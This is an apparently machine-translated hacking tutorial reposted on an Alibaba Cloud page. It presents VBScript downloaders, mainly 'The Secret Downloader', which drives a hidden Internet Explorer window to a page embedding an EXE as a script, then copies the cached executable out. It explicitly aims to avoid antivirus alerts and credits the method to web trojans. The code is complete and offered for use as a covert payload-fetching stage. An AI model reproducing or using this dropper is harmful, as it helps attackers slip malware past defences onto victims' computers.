Code-enhanced version of the file using the VBS _VBS

Source: Internet
Author: User
Tags save file
When it comes to using the VBS download file is not think of XMLHTTP, hehe, the following is a more classic code:
Ilocal=lcase (WScript.Arguments (1))
Iremote=lcase (wscript.arguments (0))
Set xpost=createobject ("Microsoft.XMLHTTP")
Xpost.open "Get", iremote,0
Xpost.send ()
Set Sget=createobject ("ADODB. Stream ")
Sget.mode=3
Sget.type=1
Sget.open ()
Sget.write Xpost.responsebody
Sget.savetofile ilocal,2

When you save this code as a VBS, anti-virus software may start to alarm, and in the use of Cscript.exe will access the network, not too covert.
So, is there a better way? The answer is clear,:-).
We can use an object called internetexplorer.application (ie, in fact) to download the file. But it seems that this component can not directly download the save file, had to curve the nation. Because IE is downloading files to the local cache, we can have the IE component download the file to the cache first and then find it from the cache and copy it to the location where we need to save it. In fact this idea is from a net horse to see:
In order to allow IE to download our EXE file to the local cache, we need to have a Web page to include EXE file. For example: <script src= "520.exe" ></script>. So when IE access the page will be 520.exe as a JS script saved to the local cache. The saved name is generally the location of the 520[1].exe,ie temporary file can be hklm\software\microsoft\windows\currentversion\internet from the registry key settings\cache\ Read in Paths\directory.
Okay, no nonsense, look at the code:

'=============================
' Get.vbs
' By Lake2
'=============================

If WScript.Arguments.Count <> 3 Then
WScript.Echo ""
WScript.Echo "======= The Secret Downloader 0.1 ================"
WScript.Echo "By Lake2"
WScript.Echo "Usage:cscript/nologo" & WScript.ScriptName & [URL] [remotename] [LocalFile] "
WScript.Echo "Example:cscript/nologo" & WScript.ScriptName & "Http://www.0x54.org/lake.htm 520.exe C:\520.exe "
WScript.Echo "=================================================="
Wscript.Quit
End If

URL = wscript.arguments (0)
EXEName = wscript.arguments (1)
If InStr (EXEName, ".") > 0 Then
TMP = Left (Exename,instrrev (EXEName, ".") -1)
TMP2 = Right (Exename,len (exename)-InStrRev (EXEName, ".") + 1)
FindFileName = tmp & "[1]" & TMP2
End If
LocalName = WScript.Arguments (2)

Set Ie=wscript.createobject ("Internetexplorer.application")
ie.visible = 0
Ie.navigate URL

WScript.Echo "[+]create and Exec IE to your HTTP Server ..."
Wscript.Sleep (5000)
Ie.quit
WScript.Echo "[+]get the file ...]
Set objshell= wscript.createobject ("Wscript.Shell")
strvalue = Objshell. RegRead ("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet settings\cache\paths\directory")
Showallfile (strvalue)
WScript.Echo "[-]download Fail:("

Sub Showallfile (Path)
Set FSO = CreateObject ("Scripting.FileSystemObject")
Set f = FSO. GetFolder (Path)
Set FC = F.subfolders
For each F1 in FC
If FSO. FileExists (path& "\" &f1.name& "\" &findfilename) Then
Fso. CopyFile path& "\" &f1.name& "\" &findfilename, LocalName
WScript.Echo "[+]download Success!")
Wscript.Quit
End If
Showallfile path& "\" &f1.name
Next
Set FSO = Nothing
End Sub

How to use:
1. Put an HTM file in your web directory containing the files you want to download. such as: <script src=520.exe></script>
2, CScript get.vbs The first step of the page URL page contains the file name local save path

Example: CScript get.vbs http://www.0x54.org/lake2/get.htm Whoami.exe C:\who.exe

PS: The script used 5 seconds as a download file time, can be changed to wait to download finished and then continue, but basically enough, too lazy to change the-_-

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.